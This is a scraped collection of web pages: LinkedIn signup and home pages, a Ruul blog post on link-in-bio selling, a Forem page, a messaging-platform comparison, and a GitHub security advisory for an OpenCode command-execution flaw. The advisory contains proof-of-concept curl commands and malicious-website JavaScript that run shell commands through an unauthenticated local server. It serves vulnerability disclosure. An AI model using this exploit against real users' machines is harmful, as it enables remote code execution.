https://www.linkedin.com/signup/cold-join?session_redirect=https%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fcompany%2Fruul&trk=organization_guest_main-feed-card_comment-cta	Sign Up \| LinkedIn Join LinkedIn now — it’s free! Not you? Remove photo Join LinkedIn To create a LinkedIn account, you must understand how LinkedIn processes your personal information by selecting learn more for each item listed. Agree to all terms We collect and use personal information. Learn more We share personal information with third parties to provide our services. Learn more Further information is available in our Korea Privacy Addendum . Privacy Policy Addendum 1 of 2 2 of 2 Agree to the term Continue Back Agree to all terms Email Password Show First name Last name By clicking Agree & Join, you agree to the LinkedIn User Agreement , Privacy Policy , and Cookie Policy . Agree & Join or Security verification Already on LinkedIn? Sign in Looking to create a page for a business? Get help LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language Follow top companies Over 60% of the fortune 100 companies use LinkedIn to hire. Join now Leave	2026-01-13T08:47:56
https://ruul.io/blog/how-freelancers-use-link-in-bio-tools-to-sell-and-get-paid#$%7Bid%7D	How Freelancers Use Link-in-Bio Tools to Sell Services and Get Paid Fast Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up grow How Freelancers Use Link-in-Bio Tools to Sell and Get Paid Turn your social profile into a service-selling machine. Learn how freelancers use link-in-bio tools like Ruul Space to boost conversions, accept global payments, and get paid faster. Mert Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Link-in-bio tools turn your social profile into a sales-ready service page. A well-structured link reduces friction and increases the chance of getting paid instantly. Optimizing your link means more conversions at the moment of interest. Ruul Space allows freelancers to sell services with global compliance and 1-click checkout. Link-in-bio tools have evolved into simple yet powerful sales engines. With the right setup, one link becomes your storefront, checkout, and invoice system all in one. For freelancers, it means skipping the middlemen, ditching monthly fees, and turning attention into income. Whether you’re a freelance writer, coach, developer, or any type of independent professional, that single link can now do the heavy lifting of your freelance business. Start selling your services today—set up your Ruul Space in minutes and turn your bio into a checkout. Your bio is the new checkout It’s easy to lose a client between the point of 'Tell me more' and 'Here’s how you pay.' That’s where link-in-bio tools flip the script. With a single tap, your potential clients can see exactly what you offer, how much it costs, and how to buy it—right there, on the spot. Your link-in-bio page bridges the gap between attention and transaction, and reduces friction where it matters most: at the moment of interest. When a client finds you and wants to take action, a single well-placed link can guide them directly to your services —clearly laid out, easy to buy, and ready to go. That clarity and accessibility are what turn interest into income. Real-world use case examples A designer sharing a link-in-bio that leads to a sleek, service-focused portfolio —complete with visual packages and direct purchase options, eliminating the need for back-and-forth. A consultant combining a scheduling tool like Calendly with a link-in-bio payment option, creating a smooth experience from booking to billing. A copywriter using their bio link to display packaged offerings—like blog posts or content audits—ready for instant checkout without needing a conversation first. Best practices to use link-in-bio to sell as a freelancer Not all link-in-bio pages are created equal. If you want your link to actually drive business , it needs to be more than a list of your socials—it should actively guide visitors to book or buy. Here’s what helps: Use visuals to explain what you do at a glance Clear, relevant visuals help clients instantly understand the type of work you do and the style you bring. Whether it's product mockups, service icons, or screenshots of past projects, strong images stop the scroll and build trust quickly. Note: Images alone drive 25% of clicks, and videos account for 28%. Group services into packages or tiers to give options Instead of listing services individually, group them into packages or price tiers that make decision-making easier . Think "Starter," "Pro," and "Custom." This gives clients clarity and makes your offerings feel more professional. Use embedded videos or testimonials to build trust Video introductions, service explainers, or short client testimonials help humanize your offering. A face or voice adds credibility and increases the likelihood that someone will take the next step. Keep the layout mobile-friendly and distraction-free Most link-in-bio clicks come from mobile. Make sure your content loads fast, is easy to read, and guides users with minimal taps. Avoid clutter that competes with your call to action. Make pricing and calls to action clear—no guesswork Don’t make clients wonder what’s next. Display your prices (or at least starting rates) and use direct CTAs like “Book Now” or “Buy This Service.” Friction kills momentum—clarity keeps it going. When structured intentionally, a link-in-bio becomes a sales engine—driving client decisions at the point of interest. Strategize how to distribute your link-in-bio Where you place your link is just as important as what’s on it. Don’t limit it to just your Instagram profile. Include it in your Twitter bio, LinkedIn summary, email signature, and even inside PDFs or proposals you send. Every client interaction is a sales opportunity—make sure your link is visible wherever clients engage with you. The more consistently you share it, the more chances you create for discovery and conversion. How to optimize link-in-bio for conversions? Without clear structure and intention, you risk losing potential clients at the very moment they’re most interested. Optimizing this space means designing it to guide a visitor’s attention, spark action, and simplify the decision to work with you. It's about making sure your services are seen, understood, and easily purchased—all in a few taps. Incorporate Visual Elements: Images and videos can significantly increase engagement, as we just mentioned. Add Your Best Work: Choose pieces that reflect your style, results, or most in-demand services. Treat this section like your storefront window—only your best, most relevant samples should be featured. Clear Call-to-Actions (CTAs): Use compelling CTAs like “Request a Quote,” “Book a Free Call,” or “Order a Design Package” to guide users. Regular Updates: Keep your content fresh by updating links to reflect your latest offerings or content. What features to look for in a link-in-bio tool Some freelancers prioritize simplicity and quick setup. Others need features like integrated payments, customization, or analytics. There are tools made for creators, coaches, consultants, and everything in between. So before picking one, think about how your clients engage with you and what’s most important to streamline that journey. Here are some features to look for: Customization Options: Ability to tailor the appearance to match your brand. Analytics: Access to data on link clicks and user behavior to inform your strategy. Integration Capabilities: Compatibility with other platforms and tools you use. E-commerce Support: If selling products or services, ensure the tool supports transactions. Cost: Evaluate the pricing structure to ensure it fits within your budget. How Ruul supercharges link-in-bio selling Ruul Space isn’t just a feature—it’s your own branded service hub with a buy button built in. Freelancers and independents can showcase their services with visuals, pricing, and detailed descriptions, all hosted on a clean, professional page. Each service is clickable and purchasable on the spot, removing friction for both you and your clients. Behind the scenes, Ruul handles everything: invoicing, currency conversions, and global payout logistics. And because it's your own unique link, you can plug it into any platform—Instagram, TikTok, LinkedIn, or even your email signature—turning every interaction into a potential sale. Clients can browse your work, select a service, and pay in seconds—all on Ruul Space. Your clients can even subscribe to your services. For example, let’s say you have a monthly social media management package. This is what your clients need regularly, but with Ruul Space, they don’t need to deal with the purchase steps every month. Instead, they can just subscribe and get invoices regularly. And you? You don’t need to prepare the invoices every month and get payouts within 1 business day, no matter where your client is. You can accept local or international payments with ease—credit cards, bank transfers, even crypto—all in one platform. Build your Ruul Space now and give clients a faster way to pay—no logins, no friction. Frequently asked questions What are the best link-in-bio tools, and why? Top link-in-bio tools include Ruul Space, Linktree, Koji, Campsite, and Lnk.Bio. Ruul Space is built specifically for freelancers, combining a service portfolio, pricing display, and one-click checkout—all supported by global payout and compliance. Linktree is widely used for its simplicity and analytics. Koji offers extensive customization and mini-app integrations. Campsite provides a user-friendly interface with branding options. Lnk.Bio is known for its straightforward setup and clean design. Should I use a link-in-bio tool or build my own website? Link-in-bio tools are great for quick setup and require no technical skills. They help direct social media followers, newsletter subscribers, advertising audiences and more to your services, portfolio, or booking links in seconds. If you want more control and long-term branding, consider building a website—but for many freelancers, starting with a link-in-bio is faster and more practical. How do I choose the right link-in-bio tool for my needs? Consider your goals: If you're a freelancer looking to sell services directly and get paid quickly , Ruul Space is a strong choice—offering integrated checkout, portfolio features, and global payout support. If you need e-commerce features, tools like Koji or Linkpop are suitable. For simplicity and ease of use, Linktree or Lnk.Bio are good options. Ruul is positioning itself as a budget-friendly, transparent platform where you can easily create a customizable online presence, track performance, and integrate with other tools—all without paying monthly fees. A commission is only charged when a transaction is made. Can I use multiple link-in-bio tools on one account? While platforms like Instagram allow only one link in your bio, you can use services that aggregate multiple links into a single page. However, using multiple link-in-bio tools simultaneously on the same account can be redundant and may confuse your audience. It's best to choose one tool that fits your needs and customize it accordingly. ABOUT THE AUTHOR Mert Bulut Mert Bulut is an innate entrepreneur, who after completing his education in Management Engineering (BSc) and Programming (MSc), co-founded Ruul at the age of 27. His achievements in entrepreneurship were recognized by Fortune magazine, which named him as one of their 40 under 40 in 2022. More Best Freelance Jobs You're looking for the best freelance jobs AI won't wipe out. Safe, in-demand, future-ready, long-lasting work… you'll find it all right here. Read more Freelancing always booms in times of adversity or uncertainty Explore why freelancing thrives in times of adversity and uncertainty. Harness opportunities, embrace flexibility, succeed! Read more How to Invoice Without a Company in Greece Explore how freelancers in Greece can easily invoice clients worldwide, manage payments, and stay compliant without needing to register a business. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:56
https://forem.com/new/security	New Post - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Close Join the Forem Forem is a community of 3,676,891 amazing members Continue with Apple Continue with Facebook Continue with GitHub Continue with Google Continue with Twitter (X) OR Email Password Remember me Forgot password? By signing in, you are agreeing to our privacy policy , terms of use and code of conduct . New to Forem? Create account . 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a blogging-forward open source social network where we learn from one another Log in Create account	2026-01-13T08:47:56
https://www.suprsend.com/post/comparing-the-top-messaging-platforms-2025	Comparing the Top Messaging Platforms (2025) Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Email management Comparing the Top Messaging Platforms (2025) Nikita Navral • December 2, 2025 TABLE OF CONTENTS Businesses rely on cloud communications platforms to power SMS alerts, authentication flows, customer engagement, and global voice calling. With so many options available, it’s important to understand how the major players differ in capabilities, pricing, and security. Below is a clear comparison of RingCentral, MessageBird, Plivo, Karix, Twilio, Sinch, Exotel, Telnyx, Ooma, Bandwidth, Gupshup, Vonage, and Amazon SNS - with key features, cost, and security included for each. ‍ Twilio Key Features: SMS/MMS, voice, WhatsApp, chat, email (SendGrid), video, global phone numbers, user authentication. Cost: Pay-as-you-go. US SMS ~ $0.0079 outbound; voice outbound ~ $0.014/min. SendGrid email plans start at $19.95/month. Security: HTTPS APIs, API key authentication, enterprise-grade controls depending on product. ‍ MessageBird (Bird) Key Features: SMS, WhatsApp, email, voice, multichannel inbox, 2FA/verify, omnichannel automation. Cost: US SMS ~ $0.008/message; WhatsApp from ~$0.005/message; dedicated numbers from ~$0.50/month. Security: ISO/IEC 27001:2013, SOC 2 Type II, GDPR-aligned, regulated under Dutch telecommunications authority. ‍ Plivo Key Features: SMS, MMS, voice APIs, WhatsApp, user verification APIs, Fraud Shield protection. Cost: US SMS ~ $0.0055/message; MMS ~ $0.018/message; plans also available starting around $25/month. Security: Fraud Shield for SMS fraud, standard API security, compliance frameworks appropriate for telecom workflows. ‍ Sinch Key Features: Global messaging, voice APIs, phone number provisioning, enterprise conversational tools, in-app voice/video SDKs. Cost: Pay-as-you-go; pricing varies by region and channel. Security: Enterprise security posture; used widely by large regulated businesses. ‍ RingCentral Key Features: Enterprise UCaaS and CCaaS — voice, video, messaging, contact center, team collaboration. Cost: Subscription-based; varies by seat and plan tier. Security: 99.999% uptime SLA, enterprise compliance standards, secure global network. ‍ Vonage Key Features: Business phone systems, unified communications, plus APIs for voice, SMS, video, messaging. Cost: Varies by product; SMS and voice pricing similar to other CPaaS players. Security: Industry-standard certifications (ISO 27001, HIPAA support in certain offerings). ‍ Bandwidth Key Features: Voice, messaging, emergency services APIs built on its own carrier network. Cost: Usage-based; typically competitive because Bandwidth owns telecom infrastructure. Security: Strong network-level security due to owning carrier backbone; enterprise-grade controls. ‍ Telnyx Key Features: Programmable voice, SMS, SIP trunking, wireless IoT, phone numbers; operates its own global private network. Cost: Generally lower than Twilio in many regions; usage-based for SMS/voice. Security: Private global network architecture, encrypted communications, strong compliance posture. ‍ Karix Key Features: SMS, voice, WhatsApp, and multichannel messaging, with strong performance in India/APAC. Cost: Pricing varies by region and volume; typically optimized for India and emerging markets. Security: Regional telecom compliance; enterprise messaging security standards. ‍ Exotel Key Features: Cloud telephony, IVR, virtual numbers, call routing, contact-center tools, SMS, WhatsApp. Cost: Region-based pricing; popular for cost-effective India/SEA deployments. Security: Telecom-grade compliance in India, SEA, and Middle East markets. ‍ Gupshup Key Features: SMS, WhatsApp, RCS, conversational messaging, bot frameworks, commerce and marketing flows. Cost: Pricing varies by channel and country; optimized for India, LATAM, and emerging markets. Security: Regional compliance and enterprise-grade security for messaging workflows. ‍ Ooma Key Features: SMB VoIP phone systems, virtual receptionist, call routing, basic business telephony. Cost: Subscription-based; lower-cost than enterprise UCaaS providers. Security: Standard SMB business-telephony protections; not CPaaS-level programmability. ‍ Amazon SNS Key Features: Pub/Sub messaging, SMS notifications, push notifications, email; part of AWS event-driven architecture. Cost: Pay-as-you-go based on notifications sent; AWS regional SMS pricing applies. Security: Inherits AWS IAM, encryption, compliance, monitoring, and infrastructure security. ‍ Which Platform Fits Which Use Case? If you want developer APIs to build custom communication flows: Twilio, Plivo, Telnyx, Bandwidth. If you need enterprise communication suites for internal teams: RingCentral, Vonage, Ooma for SMBs. If global omnichannel messaging is key: MessageBird, Sinch, Gupshup, Karix, Exotel. If you’re on AWS and only need notifications: Amazon SNS. ‍ Conclusion Each provider has unique strengths: some excel at global messaging, others at enterprise unified communications, others at developer-centric programmability. Understanding key features, pricing, and security posture helps narrow down the best fit for your product, geography, and scale. Share this blog on: Written by: Nikita Navral Co-Founder, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form.	2026-01-13T08:47:56
https://www.linkedin.com/?trk=organization_guest_nav-header-logo	LinkedIn: Log In or Sign Up Skip to main content Agree & Join LinkedIn By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . LinkedIn Top Content People Learning Jobs Games Login Join now Welcome to your professional community Sign in with email By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . New to LinkedIn? Join now Explore top LinkedIn content Discover relevant posts and expert insights — curated by topic and in one place. Career Productivity Finance Soft Skills & Emotional Intelligence Project Management Education Technology Leadership Ecommerce Show all Find the right job or internship for you Engineering Business Development Finance Administrative Assistant Retail Associate Customer Service Operations Information Technology Marketing Human Resources Healthcare Service Sales Program and Project Management Accounting Arts and Design Community and Social Services Consulting Education Entrepreneurship Legal Media and Communications Military and Protective Services Product Management Purchasing Quality Assurance Real Estate Research Support Administrative Show more Show less Post your job for millions of people to see Post a job Discover the best software tools Connect with buyers who have first-hand experience to find the best products for you. E-Commerce Platforms CRM Software Human Resources Management Systems Recruiting Software Sales Intelligence Software Project Management Software Help Desk Software Social Networking Software Desktop Publishing Software Show all Keep your mind sharp with games Take a break and reconnect with your network through quick daily games. Zip Mini Sudoku Queens Tango Pinpoint Crossclimb No more previous content Let the right people know you’re open to work With the Open To Work feature, you can privately tell recruiters or publicly share with the LinkedIn community that you are looking for new job opportunities. Conversations today could lead to opportunity tomorrow Sending messages to people you know is a great way to strengthen relationships as you take the next step in your career. Stay up to date on your industry From live videos, to stories, to newsletters and more, LinkedIn is full of ways to stay up to date on the latest discussions in your industry. No more next content Connect with people who can help Find people you know Learn the skills you need to succeed Choose a topic to learn about Artificial Intelligence for Business 910+ courses Business Analysis and Strategy 1,930+ course Business Software and Tools 3,340+ courses Career Development 700+ courses Customer Service 310+ courses Diversity, Equity, and Inclusion (DEI) 370+ courses Finance and Accounting 370+ courses Human Resources 790+ courses Leadership and Management 2,580+ courses Marketing 1,200+ course Professional Development 2,520+ courses Project Management 730+ courses Sales 370+ courses Small Business and Entrepreneurship 410+ courses Training and Education 360+ courses AEC 1,530+ course Animation and Illustration 1,860+ course Audio and Music 430+ courses Graphic Design 1,130+ course Motion Graphics and VFX 930+ courses Photography 1,260+ course Product and Manufacturing 1,540+ course User Experience 710+ courses Video 710+ courses Visualization and Real-Time 1,360+ course Web Design 580+ courses Artificial Intelligence (AI) 1,150+ course Cloud Computing 1,830+ course Cybersecurity 1,340+ course Data Science 1,880+ course Database Management 610+ courses DevOps 630+ courses Hardware 110+ courses IT Help Desk 420+ courses Mobile Development 510+ courses Network and System Administration 1,360+ course Software Development 3,580+ courses Web Development 2,160+ courses Who is LinkedIn for? Anyone looking to navigate their professional life. Find a coworker or classmate Find a new job Find a course or training Join your colleagues, classmates, and friends on LinkedIn Get started General Sign Up Help Center About Press Blog Careers Developers Browse LinkedIn Learning Jobs Games Mobile Services Products Top Companies Hub Business Solutions Talent Marketing Sales Learning Directories Members Jobs Companies Featured Learning Posts Articles Schools News News Letters Services Products Advice People Search LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language	2026-01-13T08:47:56
https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh	Unauthenticated HTTP Server Allows Arbitrary Command Execution · Advisory · anomalyco/opencode · GitHub Skip to content Navigation Menu Toggle navigation Sign in Appearance settings Platform AI CODE CREATION GitHub Copilot Write better code with AI GitHub Spark Build and deploy intelligent apps GitHub Models Manage and compare prompts MCP Registry New Integrate external tools DEVELOPER WORKFLOWS Actions Automate any workflow Codespaces Instant dev environments Issues Plan and track work Code Review Manage code changes APPLICATION SECURITY GitHub Advanced Security Find and fix vulnerabilities Code security Secure your code as you build Secret protection Stop leaks before they start EXPLORE Why GitHub Documentation Blog Changelog Marketplace View all features Solutions BY COMPANY SIZE Enterprises Small and medium teams Startups Nonprofits BY USE CASE App Modernization DevSecOps DevOps CI/CD View all use cases BY INDUSTRY Healthcare Financial services Manufacturing Government View all industries View all solutions Resources EXPLORE BY TOPIC AI Software Development DevOps Security View all topics EXPLORE BY TYPE Customer stories Events & webinars Ebooks & reports Business insights GitHub Skills SUPPORT & SERVICES Documentation Customer support Community forum Trust center Partners Open Source COMMUNITY GitHub Sponsors Fund open source developers PROGRAMS Security Lab Maintainer Community Accelerator Archive Program REPOSITORIES Topics Trending Collections Enterprise ENTERPRISE SOLUTIONS Enterprise platform AI-powered developer platform AVAILABLE ADD-ONS GitHub Advanced Security Enterprise-grade security features Copilot for Business Enterprise-grade AI features Premium Support Enterprise-grade 24/7 support Pricing Search or jump to... Search code, repositories, users, issues, pull requests... --> Search Clear Search syntax tips Provide feedback --> We read every piece of feedback, and take your input very seriously. Include my email address so I can be contacted Cancel Submit feedback Saved searches Use saved searches to filter your results more quickly --> Name Query To see all available qualifiers, see our documentation . Cancel Create saved search Sign in Sign up Appearance settings Resetting focus You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert {{ message }} anomalyco / opencode Public Notifications You must be signed in to change notification settings Fork 5.7k Star 65.7k Code Issues 1.8k Pull requests 855 Actions Projects 0 Security Uh oh! There was an error while loading. Please reload this page . Insights Additional navigation options Code Issues Pull requests Actions Projects Security Insights Unauthenticated HTTP Server Allows Arbitrary Command Execution High thdxr published GHSA-vxw4-wv6m-9hhh Jan 12, 2026 Package npm opencode-ai ( npm ) Affected versions < 1.0.216 Patched versions 1.0.216 Description Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in opencode-sdk-js/SECURITY.md . No response received. Summary OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges. Details When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed: POST /session/:id/shell - Execute shell commands ( server.ts:1401 ) POST /pty - Create interactive terminal sessions ( server.ts:267 ) GET /file/content?path= - Read arbitrary files ( server.ts:1868 ) The server is started automatically in cli/cmd/tui/worker.ts:36 via Server.listen() . No authentication middleware exists in server/server.ts . The server uses permissive CORS ( .use(cors()) with default Access-Control-Allow-Origin: * ), enabling browser-based exploitation. PoC Local exploitation: API= " http://127.0.0.1:4096 " # update with actual port SESSION_ID= $( curl -s -X POST " $API /session " -H " Content-Type: application/json " -d ' {} ' \| jq -r ' .id ' ) curl -s -X POST " $API /session/ $SESSION_ID /shell " -H " Content-Type: application/json " \ -d ' {"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"} ' cat /tmp/pwned.txt # outputs: PWNED Browser-based exploitation: A malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request. // Malicious website JavaScript fetch ( 'http://127.0.0.1:4096/session' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' } , body : '{}' } ) . then ( r => r . json ( ) ) . then ( session => { fetch ( `http://127.0.0.1:4096/session/ ${ session . id } /shell` , { method : 'POST' , headers : { 'Content-Type' : 'application/json' } , body : JSON . stringify ( { agent : 'build' , command : 'id > /tmp/pwned.txt' } ) } ) ; } ) ; Note: Chrome 142+ may prompt for Local Network Access permission. Firefox does not. Impact Remote Code Execution via two vectors: Local process : Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode. Browser-based (confirmed in Firefox) : Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages. With --mdns flag, the server binds to 0.0.0.0 and advertises via Bonjour, extending the attack surface to the entire local network. Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter. Severity High 8.8 CVSS overall score This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS). / 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required None User interaction Required Scope Unchanged Confidentiality High Integrity High Availability High Learn more about base metrics CVSS v3 base metrics Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability. Attack complexity: More severe for the least complex attacks. Privileges required: More severe if no privileges are required. User interaction: More severe when no user interaction is required. Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope. Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user. Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user. Availability: More severe when the loss of impacted component availability is highest. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CVE ID CVE-2026-22812 Weaknesses Weakness CWE-306 Missing Authentication for Critical Function The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE. Weakness CWE-749 Exposed Dangerous Method or Function The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted. Learn more on MITRE. Weakness CWE-942 Permissive Cross-domain Security Policy with Untrusted Domains The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate. Learn more on MITRE. Credits CyberShadow Reporter Footer © 2026 GitHub, Inc. Footer navigation Terms Privacy Security Status Community Docs Contact Manage cookies Do not share my personal information You can’t perform that action at this time.	2026-01-13T08:47:56
